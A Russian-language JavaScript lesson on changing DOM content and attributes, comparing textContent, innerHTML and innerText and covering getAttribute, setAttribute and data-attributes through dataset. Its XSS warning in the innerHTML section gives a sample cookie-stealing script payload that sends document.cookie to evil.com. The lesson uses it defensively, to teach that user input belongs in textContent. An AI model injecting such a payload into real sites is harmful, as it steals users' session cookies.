Изменение содержимого и атрибутов
Нашли элемент — теперь научимся его менять. Меняем текст, HTML-содержимое, атрибуты и data-атрибуты. Разберём разницу между textContent, innerHTML и innerText.
📝 textContent — чистый текст
textContent — это свойство, которое возвращает или устанавливает текстовое содержимое элемента. Все HTML-теги игнорируются — вы работаете только с текстом.
<p id="info">Привет, <strong>мир</strong>!</p>
<div id="result"></div>
const info = document.getElementById('info');
const result = document.getElementById('result');
// Чтение текста — теги игнорируются
console.log(info.textContent); // "Привет, мир!"
// Нет никакой , только чистый текст
// Запись текста
result.textContent = 'Результат вычислений: 42';
// В div появится: "Результат вычислений: 42"
// ВАЖНО: если попытаться записать HTML через textContent — он будет
// показан как обычный текст, теги не интерпретируются
result.textContent = '<b>Жирный</b> текст';
// На экране появится: <b>Жирный</b> текст (буквально, как текст!)
// Очистить элемент
result.textContent = ''; // пустая строка
✅ Когда использовать textContent: когда вы хотите показать пользователю текст — результат вычислений, имя, число, сообщение. Это самый безопасный способ вставки контента — HTML-теги не интерпретируются, XSS-атаки невозможны.
🖼️ innerHTML — HTML-содержимое
innerHTML — в отличие от textContent, умеет работать с HTML. При чтении возвращает HTML-строку внутри элемента. При записи — интерпретирует теги и создаёт реальные DOM-элементы.
<div id="card">
<h3>Привет!</h3>
<p>Текст</p>
</div>
const card = document.getElementById('card');
// Читаем HTML-содержимое
console.log(card.innerHTML);
// "<h3>Привет!</h3>\n <p>Текст</p>"
// Заменяем содержимое целиком на новый HTML
card.innerHTML = `
<h3>Новый заголовок</h3>
<p>Новый текст</p>
<button>Кнопка</button>
`;
// Внутри card теперь три элемента: h3, p и button
// Добавляем HTML в конец (не заменяем, а дополняем)
card.innerHTML += '<p>Ещё один абзац</p>';
// Осторожно: += пересоздаёт весь DOM внутри элемента!
🚨 Внимание — XSS-уязвимость! Никогда не используйте innerHTML для вставки данных, которые пришли от пользователя. Если пользователь введёт <script>document.location='http://evil.com?'+document.cookie</script> — этот скрипт выполнится! Для пользовательских данных всегда используйте textContent.
Пример плохого и хорошего кода:
const userInput = document.getElementById('input').value;
// Пусть пользователь ввёл: <script>alert('хакер')</script>
// ❌ ПЛОХО — выполнит скрипт хакера!
document.getElementById('output').innerHTML = userInput;
// ✅ ХОРОШО — покажет тег как текст, ничего не выполнит
document.getElementById('output').textContent = userInput;
💡 Когда использовать innerHTML: когда вы сами пишете HTML-строку в коде (шаблоны), а данные из неё — ваши собственные (не от пользователя). Например, рендерить карточку товара по данным из своего API.
👁️ innerText — только видимый текст
innerText похож на textContent, но с одним важным отличием: он учитывает CSS-стили и возвращает только видимый текст.
<p id="demo">
Видимый текст
<span style="display:none">Скрытый текст</span>
Ещё видимый
</p>
const p = document.getElementById('demo');
// innerText — только то, что видит пользователь
console.log(p.innerText);
// "Видимый текст\nЕщё видимый"
// Скрытый текст пропущен!
// textContent — весь текст, включая скрытый
console.log(p.textContent);
// "Видимый текст Скрытый текст Ещё видимый"
- Весь текст (включая скрытый)
- Не учитывает CSS
- Быстрее — не вызывает перерасчёт стилей
- Рекомендуется по умолчанию
- Только видимый текст
- Учитывает CSS (display, visibility)
- Медленнее — запрашивает стили
- Когда важно что видит пользователь
- HTML-строка с тегами
- Интерпретирует теги при записи
- Опасен с пользовательским вводом
- Для шаблонного HTML
🏷️ Работа с атрибутами элементов
У HTML-элементов есть атрибуты: href, src, alt, placeholder, disabled и другие. JavaScript умеет читать, изменять и удалять их.
<a id="link" href="https://google.com" target="_blank">Открыть Google</a>
<img id="photo" src="cat.jpg" alt="Кот">
<input id="field" placeholder="Введите имя" type="text">
const link = document.getElementById('link');
const photo = document.getElementById('photo');
const field = document.getElementById('field');
// getAttribute — читает атрибут
console.log(link.getAttribute('href')); // "https://google.com"
console.log(link.getAttribute('target')); // "_blank"
console.log(photo.getAttribute('alt')); // "Кот"
// setAttribute — устанавливает (или изменяет) атрибут
link.setAttribute('href', 'https://github.com');
link.setAttribute('target', '_self'); // откроется в той же вкладке
photo.setAttribute('src', 'dog.jpg'); // поменяли картинку
photo.setAttribute('alt', 'Собака'); // изменили alt
// hasAttribute — проверяет, есть ли атрибут (возвращает true/false)
console.log(field.hasAttribute('placeholder')); // true
console.log(field.hasAttribute('disabled')); // false
// removeAttribute — удаляет атрибут
field.removeAttribute('placeholder'); // убрали подсказку
Для часто используемых атрибутов есть удобные прямые свойства — без getAttribute/setAttribute:
// Прямые свойства — удобнее для частых атрибутов
const img = document.getElementById('photo');
img.src = 'newimage.jpg'; // то же что setAttribute('src', ...)
img.alt = 'Новое описание';
const link = document.getElementById('link');
link.href = 'https://youtube.com';
// Для input-полей
const input = document.getElementById('field');
input.placeholder = 'Новая подсказка';
input.disabled = true; // делает поле недоступным
input.disabled = false; // снова доступно
💾 data-атрибуты — хранение данных в HTML
data-* — специальные атрибуты для хранения произвольных данных прямо в HTML-элементах. Браузер их игнорирует (не влияют на отображение), но JavaScript легко читает через свойство dataset.
<!-- data-атрибуты: data-ИМЯ="значение" -->
<div class="product"
data-id="42"
data-price="1500"
data-category="electronics"
data-in-stock="true">
Ноутбук
</div>
<button data-action="delete" data-item-id="5">Удалить</button>
const product = document.querySelector('.product');
// Читаем через dataset — camelCase!
// data-id → dataset.id
// data-in-stock → dataset.inStock (дефис убирается, следующая буква большая)
// data-item-id → dataset.itemId
console.log(product.dataset.id); // "42" (строка!)
console.log(product.dataset.price); // "1500"
console.log(product.dataset.category); // "electronics"
console.log(product.dataset.inStock); // "true" (строка, не булево!)
// ВАЖНО: значения всегда строки. Числа нужно конвертировать
const price = Number(product.dataset.price); // 1500 (число)
const id = parseInt(product.dataset.id, 10); // 42 (целое)
// Устанавливаем data-атрибут
product.dataset.rating = '4.5';
// В HTML появится: data-rating="4.5"
// Удаляем data-атрибут
delete product.dataset.inStock;
// Из HTML уберётся: data-in-stock
// Или через setAttribute/removeAttribute
product.setAttribute('data-sale', '20%');
product.removeAttribute('data-sale');
💡 Практический сценарий: у вас список кнопок «Удалить» для задач. Как кнопка узнает, какую задачу удалять? Через data-атрибут! data-task-id="5" — в обработчике клика читаем event.target.dataset.taskId и знаем, что удалять.
Вот полный практический пример с data-атрибутами:
<ul id="tasks">
<li data-task-id="1">
Купить хлеб
<button class="delete-btn" data-task-id="1">Удалить</button>
</li>
<li data-task-id="2">
Позвонить маме
<button class="delete-btn" data-task-id="2">Удалить</button>
</li>
</ul>
// Вешаем обработчик на все кнопки удаления
document.querySelectorAll('.delete-btn').forEach(function(btn) {
btn.addEventListener('click', function() {
const taskId = btn.dataset.taskId; // "1" или "2"
console.log('Удаляем задачу с id:', taskId);
// Находим родительский li и удаляем его
const taskItem = document.querySelector('[data-task-id="' + taskId + '"]');
taskItem.remove();
});
});
🖥️ Вывод результата на страницу
Реальные приложения показывают результаты пользователю — на странице, а не в консоли. Вот типичный паттерн:
<div>
<input id="num1" type="number" value="0">
<span> + </span>
<input id="num2" type="number" value="0">
<button id="calc-btn">Посчитать</button>
<p>Результат: <strong id="result">?</strong></p>
</div>
const num1 = document.getElementById('num1');
const num2 = document.getElementById('num2');
const btn = document.getElementById('calc-btn');
const result = document.getElementById('result');
btn.addEventListener('click', function() {
// value всегда строка — конвертируем в число
const a = Number(num1.value);
const b = Number(num2.value);
const sum = a + b;
// Выводим результат на страницу, а не в console.log
result.textContent = sum;
});
✅ Правило: для вывода текстовых данных используйте textContent. Для вставки HTML-шаблонов (когда данные ваши, не пользователя) — innerHTML. Никогда не вставляйте пользовательский ввод через innerHTML.
✅ Итоги урока
textContent— читает/пишет чистый текст, без тегов. Безопасно, рекомендуется по умолчаниюinnerHTML— читает/пишет HTML. Интерпретирует теги. Опасно с данными от пользователя (XSS)innerText— только видимый текст, учитывает CSS. Медленнее textContentgetAttribute(name)— читает атрибут,setAttribute(name, value)— устанавливаетhasAttribute(name)— проверяет наличие,removeAttribute(name)— удаляетdata-*атрибуты хранят данные в HTML. Читаются черезdataset.camelCaseName- Значения
datasetвсегда строки — конвертируйте в числа черезNumber()илиparseInt()
В следующем уроке мы займёмся стилями — как менять внешний вид элементов через JS и почему classList лучше чем прямое изменение атрибута class. 🎨
Изменение содержимого и атрибутов
7 вопросов